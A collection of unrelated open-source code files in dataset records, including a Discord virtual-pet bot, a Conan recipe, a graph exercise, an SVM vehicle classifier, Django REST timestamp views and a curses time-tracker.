'glitched_pancakes', ctx.author.id,\n                                                    glitched_pancakes - 1)\n                nikogotchi.immortal = True\n                dialogue = 'Your Nikogotchi is now Immortal.'\n        else:\n            if pancakes <= 0:\n                dialogue = 'You don\\'t have any pancakes! Buy some from the shop to feed your Nikogotchi!'\n            else:\n                hunger_increase = 25\n                health_increase = 1\n\n                pancakes = database.update('nikogotchi_data', 'pancakes', ctx.author.id, pancakes - 1)\n                dialogue = random.choice(nikogotchi.pancake_dialogue)\n\n        nikogotchi.hunger = min(50, nikogotchi.hunger + hunger_increase)\n        nikogotchi.health = min(50, nikogotchi.health + health_increase)\n\n        await self.save_nikogotchi(nikogotchi, ctx.author.id)\n\n        buttons = await self.feed_nikogotchi(pancakes, golden_pancakes, glitched_pancakes, ctx)\n\n        embed = await self.get_main_nikogotchi_embed(ctx.author.id, await self.get_nikogotchi_age(ctx.author.id),\n                                                     dialogue, [], nikogotchi)\n\n        await ctx.edit_origin(embed=embed, components=buttons)\n\n    \n    @nikogotchi.subcommand(sub_cmd_description='Send away your Nikogotchi.')\n    async def send_away(self, ctx: SlashContext):\n\n        nikogotchi = await self.get_nikogotchi(ctx.author.id)\n\n        if nikogotchi is None:\n            return await fancy_message(ctx, \"[ You don't have a Nikogotchi! ]\", ephemeral=True, color=0xff0000)\n\n        buttons = [\n            Button(style=ButtonStyle.RED, label='Yes', custom_id=f'rehome {ctx.author.id}')\n        ]\n\n        embed = await fancy_embed(\n            f'[ Are you sure you want to send away {nikogotchi.name} so that you can adopt a new one? ]')\n        embed.set_footer(text='Dismiss this message if you change your mind.')\n\n        await fancy_message(ctx,\n                            f'[ Are you sure you want to send away {nikogotchi.name} so that you can adopt a new one? ]',\n                            ephemeral=True, components=buttons)\n\n        button = await self.bot.wait_for_component(components=buttons)\n        button_ctx = button.ctx\n\n        custom_id = button_ctx.custom_id\n\n        if custom_id == f'rehome {ctx.author.id}':\n            database.update('nikogotchi_data', 'data', ctx.author.id, None)\n\n            embed = await fancy_embed(f'[ Successfully sent away {nikogotchi.name}. Enjoy your future Nikogotchi! ]')\n\n            await ctx.edit(embed=embed, components=[])\n\n    \n    @nikogotchi.subcommand(sub_cmd_description='Rename your Nikogotchi.')\n    @slash_option('name', description='Rename your Nikogotchi.', opt_type=OptionType.STRING, required=True)\n    async def rename(self, ctx: SlashContext, name):\n\n        nikogotchi = await self.get_nikogotchi(ctx.author.id)\n\n        if nikogotchi is None:\n            return await fancy_message(ctx, \"[ You don't have a Nikogotchi! ]\", ephemeral=True, color=0xff0000)\n\n        old_name = nikogotchi.name\n        nikogotchi.name = name\n\n        await self.save_nikogotchi(nikogotchi, ctx.author.id)\n        await fancy_message(ctx, f'[ Successfully renamed **{old_name}** to **{nikogotchi.name}**! ]', ephemeral=True)\n\n    \n    @nikogotchi.subcommand(sub_cmd_description='Show off your Nikogotchi, or view someone else\\'s.!')\n    @slash_option('user', description='The user to view.', opt_type=OptionType.USER, required=True)\n    async def show(self, ctx: SlashContext, user: User):\n\n        uid = user.id\n\n        nikogotchi = await self.get_nikogotchi(uid)\n\n        if nikogotchi is None:\n            return await fancy_message(ctx, \"[ This person doesn't seem to have a Nikogotchi! ]\", ephemeral=True,\n                                       color=0xff0000)\n\n        age = await self.get_nikogotchi_age(uid)\n\n        embed = Embed(\n            title=f'{nikogotchi.name}',\n            color=0x8b00cc,\n        )\n\n        embed.author = EmbedAuthor(\n            name=f'Owned by {user.username}',\n            icon_url=user.avatar_url\n        )\n\n        embed.description = f'''\n        Age: {age.years} years, {age.months} months, and {age.days} days.\n        \n        Health: {int(nikogotchi.health)}/50\n        '''\n\n        embed.set_image(url=f'https://cdn.discordapp.com/emojis/{nikogotchi.emoji}.png?v=1')\n\n        await ctx.send(embed=embed)\n\n    \n    @nikogotchi.subcommand(sub_cmd_description='Trade your Nikogotchi with someone else!')\n    @slash_option('user', description='The user to trade with.', opt_type=OptionType.USER, required=True)\n    async def trade(self, ctx: SlashContext, user: User):\n\n        nikogotchi_one = await self.get_nikogotchi(ctx.author.id)\n        nikogotchi_two = await self.get_nikogotchi(user.id)\n\n        if nikogotchi_one is None:\n            return await fancy_message(ctx, \"[ You don't have a Nikogotchi! ]\", ephemeral=True, color=0xff0000)\n        if nikogotchi_two is None:\n            return await fancy_message(ctx, \"[ This person doesn't have a Nikogotchi! ]\", ephemeral=True,\n                                       color=0xff0000)\n\n        await fancy_message(ctx, f'[ Sent {user.mention} a trade offer! Waiting on their response... {loading()} ]',\n                            ephemeral=True)\n\n        uid = user.id\n\n        embed = await fancy_embed(f'''\n        ### **{ctx.author.mention}** wants to trade their Nikogotchi with you!\n        \n        **Name:** {nikogotchi_one.name}\n        **Health:** {nikogotchi_one.health}/50\n        \n        Do you want to trade <:dfd:{nikogotchi_two.emoji}> **{nikogotchi_two.name}** with them?\n        ''')\n\n        embed.set_image(url=f'https://cdn.discordapp.com/emojis/{nikogotchi_one.emoji}.png?v=1')\n\n        buttons = [\n            Button(style=ButtonStyle.SUCCESS, label='Trade', custom_id=f'trade {ctx.author.id} {uid}'),\n            Button(style=ButtonStyle.DANGER, label='Decline', custom_id=f'decline {ctx.author.id} {uid}')\n        ]\n\n        await user.send(embed=embed, components=buttons)\n\n        button = await self.bot.wait_for_component(components=buttons)\n        button_ctx = button.ctx\n\n        await button_ctx.defer(edit_origin=True)\n\n        custom_id = button_ctx.custom_id\n\n        if custom_id == f'trade {ctx.author.id} {uid}':\n            await self.save_nikogotchi(nikogotchi_two, ctx.author.id)\n            await self.save_nikogotchi(nikogotchi_one, uid)\n\n            embed_two = await fancy_embed(\n                f'[ Successfully traded with {user.mention}! Say hello to **{nikogotchi_two.name}**! ]')\n            embed_two.set_image(url=f'https://cdn.discordapp.com/emojis/{nikogotchi_two.emoji}.png?v=1')\n\n            embed_one = await fancy_embed(\n                f'[ Successfully traded with **{ctx.author.username}**! Say hello to **{nikogotchi_one.name}**! ]')\n            embed_one.set_image(url=f'https://cdn.discordapp.com/emojis/{nikogotchi_one.emoji}.png?v=1')\n\n            await button_ctx.edit_origin(embed=embed_one, components=[])\n            await ctx.edit(embed=embed_two)\n        else:\n            embed = await fancy_embed(f'[ {user.mention} declined your trade offer. ]')\n            await ctx.edit(embed=embed)\n\n            embed = await fancy_embed(f'[ Successfully declined trade offer. ]')\n\n            await button_ctx.edit_origin(embed=embed, components=[])\n\n    \n    @slash_command(description='View the treasure you currently have, or someone else\\'s!')\n    @slash_option('user', description='The user to view.', opt_type=OptionType.USER, required=True)\n    async def treasure(self, ctx: SlashContext, user: User):\n        embed = Embed(\n            title=f'{user.username}\\'s Treasure',\n            color=0x8b00cc,\n        )\n\n        treasures = database.get_treasures()\n\n        treasure_string = ''\n\n        user_treasure = database.fetch('nikogotchi_data', 'treasure', user.id)\n\n        for i, item in enumerate(treasures):\n            treasure_string += f'<:emoji:{item[\"image\"]}> {item[\"name\"]}: **{user_treasure[i]}x**\\n\\n'\n\n        embed.description = f'''\n        Here is {user.mention}'s treasure!\n        \n        {treasure_string}\n        Earn more treasure through Nikogotchis or purchasing them from the shop!\n        '''\n\n        await ctx.send(embed=embed)\n","repo_name":"Axiinyaa/The-World-Machine","sub_path":"Commands/nikogotchi.py","file_name":"nikogotchi.py","file_ext":"py","file_size_in_byte":30946,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"19120014549","text":"from conans import ConanFile, CMake\n\n\nclass JSONSettingsRESTAPITestConan(ConanFile):\n    settings = \"os\", \"compiler\", \"build_type\", \"arch\"\n    generators = \"cmake_find_package\"\n    options = {\"boost\": [\"1.66.0\", \"1.67.0\", \"1.72.0\"], \"openssl\": [\"1.0.2n\", \"1.0.2s\", \"1.1.1g\"], \"gtest\": [\"1.7.0\", \"1.8.1\", \"1.10.0\"]}\n    default_options = {\"boost\":\"1.72.0\", \"openssl\": \"1.1.1g\", \"gtest\":\"1.10.0\"}\n    required_conan_version = \">=1.33.1\"\n\n    def configure(self):\n        self.options[\"JSONSettingsRESTAPI\"].boost = self.options.boost\n        self.options[\"JSONSettingsRESTAPI\"].openssl = self.options.openssl\n        self.options[\"JSONSettingsRESTAPI\"].gtest = self.options.gtest\n        self.options[\"RapidJSONAdapter\"].gtest = self.options.gtest\n\n    def requirements(self):\n        self.requires(\"RapidJSONAdapter/1.1.6@systelab/stable\")\n\n    def build(self):\n        cmake = CMake(self)\n        cmake.configure()\n        cmake.build()\n\n    def imports(self):\n        self.copy(\"*.dll\", dst=(\"bin/%s\" % self.settings.build_type), src=\"bin\")\n        self.copy(\"*.dll\", dst=(\"bin/%s\" % self.settings.build_type), src=\"lib\")\n        self.copy(\"*.dylib*\", dst=\"bin\", src=\"lib\")\n        self.copy('*.so*', dst='bin', src='lib')\n\n    def test(self):\n        cmake = CMake(self)\n        cmake.test()\n","repo_name":"systelab/cpp-json-settings","sub_path":"src/JSONSettingsRESTAPI/test_package/conanfile.py","file_name":"conanfile.py","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"2251667466","text":"\nclass Node: #Node Class\n    def __init__(self, data):\n        self.data = data\n        \nclass Edge: #Edge Class\n    def __init__(self, key1,key2):\n        self.keys = (key1,key2)\n        \n        \nclass Graph: #Graph Class which consist of list of Nodes and List of Edges\n    def __init__(self):\n        self.graph = []\n        self.nodes = []\n        self.edges = []\n        \n    \n    def addNode(self, value):\n        if value not in self.nodes:\n            newNode = Node(value)\n            self.nodes.append(newNode)\n        else:\n            print(\"\\nError. Already exists.\")\n    \n    \n    def addEdge(self, key1,key2):\n        for i in self.nodes:\n            if key1 == i.data:\n                for j in self.nodes:\n                    if key2 == j.data:\n                        newEdge = Edge(key1, key2)\n                        self.edges.append(newEdge)\n                        print(\"\\nAdded new edge\")\n                        \n    \n    def removeNode(self, value):\n        for i in self.nodes:\n            if value == i.data:\n                self.nodes.pop(self.nodes.index(i))\n        for j in self.edges:\n            if value in j.keys:\n                self.edges.pop(self.edges.index(j))\n                print(\"\\nSuccessfully removed Node\")\n        \n            \n    def removeEdge(self, key1,key2):\n        for i in self.edges:\n            if key1 in i.keys and key2 in i.keys:\n                self.edges.pop(self.edges.index(i))\n                print(\"\\nSuccessfully removed edge\")\n                return\n        print(\"\\nError. Edge cannot be found\")\n            \n    \n    def getAdjNodes(self, node):\n        adjlist = []\n        for i in self.edges:\n            if node in i.keys:\n                adjlist.append(i.keys)\n        print(\"\\nAdjacency listing for\", node, end = \": \")\n        for j in adjlist:\n            print(j, end = \", \")\n        \n    def printGraph(self):\n        print(\"\\nNodes: \", end = \"\")\n        for k in self.nodes:\n            print(k.data, end = \", \")\n        \n        print(\"\\nEdges: \", end = \"\")\n        for l in self.edges:\n            print(l.keys, end = \", \") \n                \n        \n           \n#Test Cases                     \ng1 = Graph()\ng1.addNode(1)\ng1.addNode(2)\ng1.addNode(3)\ng1.addNode(4)\ng1.addNode(5)\ng1.printGraph()\ng1.addEdge(1,2)\ng1.addEdge(1,4)\ng1.addEdge(2,4)\ng1.addEdge(1,3)\ng1.addEdge(3,1)\ng1.addEdge(3,4)\ng1.addEdge(2,3)\ng1.printGraph()\n#g1.removeNode(4)    \n#g1.removeEdge(1,4)\ng1.printGraph()\ng1.getAdjNodes(1)\ng1.getAdjNodes(3)\n","repo_name":"ubercareerprep2022/Uber-Career-Prep-Homework-Keshon-Primus","sub_path":"Assignment-2/Graphs-Exercise1.py","file_name":"Graphs-Exercise1.py","file_ext":"py","file_size_in_byte":2503,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"40529184034","text":"import glob\nimport pickle\nimport time\nimport cv2\nimport matplotlib.image as mpimg\nimport numpy as np\nfrom sklearn.model_selection import train_test_split, GridSearchCV\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.svm import SVC\nimport sys\n\nfrom featurizer import extract_features\n\n\nclass CarClassifier:\n    def __init__(self,\n                 colorspace='YCrCb',  # Can be RGB, HSV, LUV, HLS, YUV, YCrCb\n                 orient=9,\n                 pix_per_cell=8,\n                 cell_per_block=2,\n                 hog_channel='ALL',  # Can be 0, 1, 2, or \"ALL\"\n                 kernel = 'linear'\n                 ):\n        self.colorspace = colorspace  # Can be RGB, HSV, LUV, HLS, YUV, YCrCb\n        self.orient = orient\n        self.pix_per_cell = pix_per_cell\n        self.cell_per_block = cell_per_block\n        self.hog_channel = int(hog_channel)\n        self.clf = None\n        self.scaler = None\n        self.kernel = kernel\n\n    def fit(self, images, random_state):\n        # Divide up into cars and notcars\n        cars = []\n        notcars = []\n        for image in images:\n            if 'Extras' in image:\n                notcars.append(mpimg.imread(image))\n            elif 'GTI_Right' in image:\n                cars.append(mpimg.imread(image))\n            elif 'GTI_Left' in image:\n                cars.append(cv2.flip(mpimg.imread(image), 1))\n\n        # balance classes by subsampling negative classes\n        np.random.shuffle(notcars)\n        notcars = notcars[0:int(len(cars) * 1.5)]\n        _notcars = [\n            mpimg.imread('data/non-vehicles/Extras/extra955.png'),\n            mpimg.imread('data/non-vehicles/Extras/extra956.png'),\n            mpimg.imread('data/non-vehicles/Extras/extra957.png'),\n            mpimg.imread('data/non-vehicles/Extras/extra958.png'),\n            mpimg.imread('data/non-vehicles/Extras/extra997.png'),\n            mpimg.imread('data/non-vehicles/Extras/extra1000.png'),\n            mpimg.imread('data/non-vehicles/Extras/extra1001.png'),\n            mpimg.imread('data/non-vehicles/Extras/extra1005.png'),\n            mpimg.imread('data/non-vehicles/Extras/extra1008.png'),\n            mpimg.imread('data/non-vehicles/Extras/extra1009.png'),\n            mpimg.imread('data/non-vehicles/Extras/extra1010.png'),\n            mpimg.imread('data/non-vehicles/Extras/extra1011.png'),\n            mpimg.imread('data/non-vehicles/Extras/extra1012.png'),\n            mpimg.imread('data/non-vehicles/Extras/extra1013.png'),\n            mpimg.imread('data/non-vehicles/Extras/extra1014.png'),\n            mpimg.imread('data/non-vehicles/Extras/extra1015.png'),\n            mpimg.imread('data/non-vehicles/Extras/extra1058.png'),\n            mpimg.imread('data/non-vehicles/Extras/extra1061.png'),\n            mpimg.imread('data/non-vehicles/Extras/extra1062.png'),\n            mpimg.imread('data/non-vehicles/Extras/extra1063.png'),\n            mpimg.imread('data/non-vehicles/Extras/extra1064.png'),\n            mpimg.imread('data/non-vehicles/Extras/extra1065.png'),\n            mpimg.imread('data/non-vehicles/Extras/extra1066.png'),\n            mpimg.imread('data/non-vehicles/Extras/extra1067.png'),\n            mpimg.imread('data/non-vehicles/Extras/extra1068.png')]\n        _notcars_flipped = [cv2.flip(x, 1) for x in _notcars]\n        notcars += _notcars + _notcars + _notcars + _notcars + \\\n                   _notcars_flipped + _notcars_flipped + _notcars_flipped + _notcars_flipped\n\n        # Reduce the sample size because HOG features are slow to compute\n        # The quiz evaluator times out after 13s of CPU time\n        # sample_size = 500\n        # cars = cars[0:sample_size]\n        # notcars = notcars[0:sample_size]\n\n        print(\"Number of postive classes: {}\".format(len(cars)))\n        print(\"Number of negtaive classes: {}\".format(len(notcars)))\n\n        t = time.time()\n        car_features = \\\n            extract_features(cars, cspace=self.colorspace, orient=self.orient,\n                             pix_per_cell=self.pix_per_cell, cell_per_block=self.cell_per_block,\n                             hog_channel=self.hog_channel, feature_vec=True)\n        notcar_features = \\\n            extract_features(notcars, cspace=self.colorspace, orient=self.orient,\n                             pix_per_cell=self.pix_per_cell, cell_per_block=self.cell_per_block,\n                             hog_channel=self.hog_channel, feature_vec=True)\n        t2 = time.time()\n        print(round(t2 - t, 2), 'Seconds to extract HOG features...')\n        # Create an array stack of feature vectors\n        X = np.vstack((car_features, notcar_features)).astype(np.float64)\n        # Fit a per-column scaler\n        self.scaler = StandardScaler().fit(X)\n        # Apply the scaler to X\n        print('Normalizing feature vectors...')\n        scaled_X = self.scaler.transform(X)\n\n        # Define the labels vector\n        y = np.hstack((np.ones(len(car_features)), np.zeros(len(notcar_features))))\n\n        # Split up data into randomized training and test sets\n        print('Splitting into training and testing sets...')\n        X_train, X_test, y_train, y_test = train_test_split(\n            scaled_X, y, test_size=0.2, random_state=random_state)\n\n        print('Using:', self.orient, 'orientations', self.pix_per_cell,\n              'pixels per cell and', self.cell_per_block, 'cells per block')\n        print('Feature vector length:', len(X_train[0]))\n        # Use an SVC\n        svc = SVC()\n        # Cross-validation with grid search\n        # parameters = {'kernel': ('linear', 'rbf'), 'C': [1, 5]}\n        parameters = {'kernel': [self.kernel], 'C': [2, 3]}\n        self.clf = GridSearchCV(svc, parameters, n_jobs=-1, cv=3, verbose=1)\n        # Check the training time for the SVC\n        print(\"Hyperparameter tuning...\")\n        t = time.time()\n        self.clf.fit(X_train, y_train)\n        t2 = time.time()\n        print(round(t2 - t, 2), 'Seconds to train SVC...')\n        print('Best parameters: {}'.format(self.clf.best_params_))\n        # Check the score of the SVC\n        print('Test Accuracy of SVC = ', round(self.clf.score(X_test, y_test), 4))\n        # Check the prediction time for a single sample\n        t = time.time()\n        n_predict = 10\n        print('My SVC predicts: ', self.clf.predict(X_test[0:n_predict]))\n        print('For these', n_predict, 'labels: ', y_test[0:n_predict])\n        t2 = time.time()\n        print(round(t2 - t, 5), 'Seconds to predict', n_predict, 'labels with SVC')\n\n    def write(self, path):\n        # pickle the whole thing\n        dist_pickle = {\n            \"colorspace\": self.colorspace,\n            \"orient\": self.orient,\n            \"pix_per_cell\": self.pix_per_cell,\n            \"cell_per_block\": self.cell_per_block,\n            \"hog_channel\": self.hog_channel,\n            \"clf\": self.clf,\n            \"scaler\": self.scaler\n        }\n        print('Saving model to {}'.format(path))\n        pickle.dump(dist_pickle, open(path, \"wb\"))\n\n\ndef main():\n    # fit vehicle classifier\n    colorspace = sys.argv[1]  #  'YCrCb'\n    hog_channel = sys.argv[2]  # 'ALL'\n    kernel = sys.argv[3] # 'linear' 'rbf'\n    clf = CarClassifier(colorspace=colorspace, hog_channel=hog_channel, kernel=kernel)\n    rand_state = np.random.randint(0, 100)\n    clf.fit(\n        images=glob.glob('data/*/*/*.png', recursive=True),\n        random_state=rand_state)\n    # pickle the model to the fs\n    clf.write(\"clf_pickle_{0}_{1}_{2}.p\"\n              .format(colorspace, hog_channel, kernel))\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"bejjani/udacityCarND","sub_path":"CarND-Vehicle-Detection/classifier.py","file_name":"classifier.py","file_ext":"py","file_size_in_byte":7545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"35872191377","text":"\nimport datetime \nfrom rest_framework import generics\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom .serializers import Timestampserializer, TimestampDocserializer , TimestampOrgserializer\nfrom .models import user_timestamp, document_timestamp , organisation_timestamp\nfrom rest_framework import status, permissions\nimport os, json, requests\nfrom django.db.models import Q\n\n\n\n\n\n\n\n\nclass IsUser(permissions.BasePermission):\n    def has_permission(self, request, view):\n        id = request.user.id\n        if id is None:\n            return False\n        else:\n            host_ip = os.environ.get('HOST_IP')\n            auth_url = 'http://' + str(host_ip) + ':8002/api/users/'+ str(id)\n            response = requests.get(auth_url)\n            response_json = json.loads(response.content.decode('utf-8'))\n            user_id = response_json['id']\n            return id == user_id\n\n\n\n\nclass CustomQuerysetMixin:\n    def get_queryset(self):\n        \"\"\"\n        Override the get_queryset() function to filter data based on user_id and organisation.owner.\n        \"\"\"\n        # get organisation\n        queryset = super().get_queryset()\n        host_ip = os.environ.get('HOST_IP')\n        id = self.request.user.id\n        auth_url = 'http://' + str(host_ip) + ':8002/api/users/'+ str(id)\n        response = requests.get(auth_url)\n        response_json = json.loads(response.content.decode('utf-8'))\n        isAdmin = response_json['isAdmin']\n        if isAdmin:\n            return queryset\n        user_organisation = response_json['organisation']\n        if user_organisation is None:\n            queryset = queryset.filter(owner=self.request.user.email)\n            return queryset\n        else:\n            org_url = 'http://' + str(host_ip) + ':8002/api/organisation/create/'\n            response = requests.get(org_url)\n            print(\"+++++++++++++++++++++++++++++++++++++++++++++++++++=\")\n            print(response)\n            response_json1 = json.loads(response.content.decode('utf-8'))\n            org_data = response_json1[0]\n            owner=org_data['owner']\n            if owner == self.request.user.email:\n                members=org_data['members']\n                return queryset.filter(Q(user_id__in=members) | Q(user_id=id))\n            else: \n                return queryset.filter(owner=self.request.user.email)\n\n\n\n\n\n\nclass createtimestamp(generics.ListCreateAPIView):\n    queryset = user_timestamp.objects.all()\n    serializer_class = Timestampserializer\n    permission_classes=[IsUser,]\n    def get_queryset(self):\n        \"\"\"\n        Override the get_queryset() function to filter data based on user_id and organisation.owner.\n        \"\"\"\n        # get organisation\n        queryset = super().get_queryset()\n        host_ip = os.environ.get('HOST_IP')\n        id = self.request.user.id\n        print(\"+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++=\")\n        print(self.request)\n        print('id: ' + str(id))\n        auth_url = 'http://' + str(host_ip) + ':8002/api/users/'+ str(id)\n        response = requests.get(auth_url)\n        response_json = json.loads(response.content.decode('utf-8'))\n        print('response auth: ' + str(response_json))\n        isAdmin = response_json['isAdmin']\n        if isAdmin:\n            return queryset\n        else:\n            return queryset.filter(owner=self.request.user.email)\n\n    \n    \n    def post(self, request, *args, **kwargs):\n        # Extract the user ID and email address from the request data\n        action = request.data.get('action')\n        serializer = self.get_serializer(data=request.data)\n        print(\"))))))))))))(((((((((((((())))))))))))))\"+ str(serializer))\n        serializer.is_valid(raise_exception=True)\n        request_join = serializer.save(action=action)\n        # Return a JSON response indicating success\n        return Response(serializer.data, status=status.HTTP_201_CREATED)\n\n\nclass createtimestampDoc(CustomQuerysetMixin, generics.ListCreateAPIView):\n    queryset = document_timestamp.objects.all()\n    serializer_class = TimestampDocserializer\n    permission_classes=[IsUser,]\n    \n    \n    \n    \n    def post(self, request, *args, **kwargs):\n        # Extract the user ID and email address from the request data\n        action = request.data.get('action')\n        serializer = self.get_serializer(data=request.data)\n        print(\"))))))))))))(((((((((((((())))))))))))))\"+ str(serializer))\n        serializer.is_valid(raise_exception=True)\n        document_id = request.data.get('document_id')\n        request_join = serializer.save(action=action, document_id=document_id)\n        # Return a JSON response indicating success\n        return Response(serializer.data, status=status.HTTP_201_CREATED)\n    \n    \n    \n  \n\nclass createtimestampOrg(CustomQuerysetMixin, generics.ListCreateAPIView):\n    queryset = organisation_timestamp.objects.all()\n    serializer_class = TimestampOrgserializer\n    permission_classes=[IsUser,]\n    \n    \n    \n    \n    def post(self,request):\n        action = request.data.get('action')\n        organisation = request.data.get('organisation')\n        serializer = self.get_serializer(data=request.data)\n        print(\"))))))))))))(((((((((((((())))))))))))))\"+ str(serializer))\n        serializer.is_valid(raise_exception=True)\n        request_join = serializer.save(action=action, organisation=organisation)\n        # Return a JSON response indicating success\n        return Response(serializer.data, status=status.HTTP_201_CREATED)\n\n\nclass getrequest(generics.ListAPIView):\n    queryset = document_timestamp.objects.filter(action='Request Join')\n    serializer_class = TimestampDocserializer\n","repo_name":"Husamy/PFE-Timestamp_MicroService","sub_path":"timestamp_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"1195444343","text":"vote_a = []\nvote_t = []\n\nn = int(input())\n\nfor i in range(n):\n    vote = list(map(int, input().split()))\n    vote_a.append(vote[0])\n    vote_t.append(vote[1])\n\nsum_a = sum(vote_a)\nsum_t = sum(vote_t)\n\n# d=[2*a+t for a,t in zip(vote_a,vote_t)]\nmax_d = 2*vote_a[0]+vote_t[0]\n\ncnt = 0\nindex = -1\nwhile True:\n    for i in range(1, n):\n        if max_d < 2*vote_a[i]+vote_t[i]:\n            max_d = 2*vote_a[i]+vote_t[i]\n            index = i\n    sum_t += vote_t[index]\n    sum_a -= vote_a[index]\n    cnt += 1\n    if sum_t > sum_a:\n        print(cnt)\n        break\n","repo_name":"souhub/atcoder","sub_path":"contests/ABC/187/d.py","file_name":"d.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"11398555333","text":"import os, sys\n\np = os.path.abspath('..')\nsys.path.insert(1, p)\nfrom data_expectations import create_dataset_file, dataset_validation\nimport glob\n\nwith open(\"dataset/state.txt\", \"r\") as f:\n  uid = f.read()\n\ntrain_imgs = glob.glob(\"dataset/train_aug/*/*\")\nvalid_imgs = glob.glob(\"dataset/validation/*/*\")\ntest_imgs = glob.glob(\"dataset/test/*/*\")     \n\nsplits = [{\n  \"meta\": \"dataset/meta_train.csv\",\n  \"data\": \"dataset/train/*/*\"\n  }, \n  {\n  \"meta\": \"dataset/meta_validation.csv\",\n  \"data\": \"dataset/validation/*/*\"\n  }, \n  {\n  \"meta\": \"dataset/meta_test.csv\",\n  \"data\": \"dataset/test/*/*\"\n  }, ]\n\npartial_success = True\n\nfor split in splits:\n  imgs = glob.glob(split[\"data\"])\n  create_dataset_file.create(split[\"meta\"], imgs)\n  results = dataset_validation.test_ge(split[\"meta\"])\n  \n  for result in results:\n    partial_success = partial_success and result[\"success\"]\n\n  if not partial_success:\n    break\n\nwith open(\"dataset/data_valid_result.txt\", \"w\") as f:\n  f.write(uid.strip() + \"-\" + str(partial_success) )\n\nassert partial_success","repo_name":"se4ai2122-cs-uniba/AgeGuesser","sub_path":"age_regressor/src/validate_data.py","file_name":"validate_data.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"41342943903","text":"#! /usr/bin/python3\n\n\nfrom data_structures.period import Period\nfrom modules.periods import PeriodsModule\nfrom modules.timer import TimerModule\nfrom modules.export import ExportModule\nfrom ui.ui_builder import UiBuilder\nfrom db.database import DatabaseModule\nfrom common_variables import list_of_months\nimport sqlite3\nimport curses\nimport os\nimport time\n\n\n\"\"\"\nMonitor is the base of the program which controls everything\n\"\"\"\nclass Monitor:\n\n\n    def __init__(self):\n        self.stdscr = curses.initscr()\n        self.timer = None\n        self.exporter = None\n        self.db_name = \"database.db\"\n        self.db = DatabaseModule(self.db_name)\n        if (os.path.isfile(self.db_name)):\n            self.periods_module = PeriodsModule(self.db)\n        else:\n            self.periods_module = PeriodsModule(None)\n\n\n    \"\"\"\n    Starts the program\n    \"\"\"\n    def main(self):\n        try:\n            if not (os.path.isfile(self.db_name)):\n                con = self.db.create_connection()\n                self.db.create_database(con)\n                con.close()\n            self.set_start_settings()\n            curses.wrapper(self.main_menu)\n        except sqlite3.Error as e:\n            print(e)\n        finally:\n            self.end_program()\n\n\n    \"\"\"\n    Basic settings at start\n    noecho() allows to read keys and display them\n    keypad() enables keypad mode to get for example KEY_DOWN work\n    start_color() allows to use colors\n    \"\"\"\n    def set_start_settings(self):\n        curses.curs_set(0)\n        curses.noecho()\n        self.stdscr.keypad(True)\n        curses.start_color()\n\n\n    \"\"\"\n    Will be called at the end of the program\n    \"\"\"\n    def end_program(self):\n        curses.nocbreak()\n        self.stdscr.keypad(False)\n        curses.echo()\n        curses.endwin()\n\n\n    \"\"\"\n    Main menu of the program\n\n    stdscr : curses.stdscr, Curses standard screen which is used to show everything\n    \"\"\"\n    def main_menu(self, stdscr):\n\n        current_row_idx = 0\n        menu = [\"Timer\", \"Periods\", \"Export\", \"About\", \"Exit\"]\n\n        UiBuilder.print_main_menu(self.stdscr, menu, current_row_idx)\n        \n        while 1:\n\n            key = self.stdscr.getch()\n\n            current_row_idx = self.menu_scroll(key, current_row_idx, menu, 1)\n\n            if (key == curses.KEY_ENTER or key in [10, 13]):\n                if (current_row_idx == (len(menu) - 1)):\n                    break\n                elif (current_row_idx == 0):\n                    self.timer_menu(0)\n                elif (current_row_idx == 1):\n                    self.periods_menu_years(0)\n                elif (current_row_idx == 2):\n                    self.export_menu(0)\n                elif (current_row_idx == 3):\n                    self.about_view()\n\n            self.stdscr.clear()\n            UiBuilder.print_main_menu(self.stdscr, menu, current_row_idx)\n            self.stdscr.refresh()\n\n\n    \"\"\"\n    Timer view which uses Timer Module\n\n    current_row_idx : int, index at the menu\n    \"\"\"\n    def timer_menu(self, current_row_idx):\n\n        self.timer = TimerModule()\n        period = Period()\n\n        self.stdscr.clear()\n        period.set_name(UiBuilder.print_ask_period_name(self.stdscr))\n\n        timer_menu = [\"Start timer\", \"Pause timer\", \"Exit\"]\n\n        self.stdscr.clear()\n\n        UiBuilder.print_timer_menu(self.stdscr, timer_menu, current_row_idx, period.get_name(),\n                                   self.timer.get_state(), self.timer.get_elapsed_time())\n\n        while 1:\n                \n            key = self.stdscr.getch()\n\n            current_row_idx = self.menu_scroll(key, current_row_idx, timer_menu, 1)\n\n            if (key == curses.KEY_ENTER or key in [10, 13]):\n                if (current_row_idx == (len(timer_menu) - 1)):\n                    period.set_work_time(self.timer.stop_timer())\n                    break\n                elif (current_row_idx == 0 and self.timer.get_state() == \"Stopped\"):\n                    self.stdscr.clear()\n                    self.timer.start_timer()\n                    UiBuilder.print_timer_menu(self.stdscr, timer_menu, current_row_idx, period.get_name(),\n                                               self.timer.get_state(), self.timer.get_elapsed_time())\n                    self.stdscr.refresh()\n                elif (current_row_idx == 0):\n                    self.stdscr.clear()\n                    self.timer.continue_timer()\n                    UiBuilder.print_timer_menu(self.stdscr, timer_menu, current_row_idx, period.get_name(),\n                                               self.timer.get_state(), self.timer.get_elapsed_time())\n                    self.stdscr.refresh()\n                elif (current_row_idx == 1):\n                    self.stdscr.clear()\n                    self.timer.pause_timer()\n                    UiBuilder.print_timer_menu(self.stdscr, timer_menu, current_row_idx, period.get_name(),\n                                               self.timer.get_state(), self.timer.get_elapsed_time())\n                    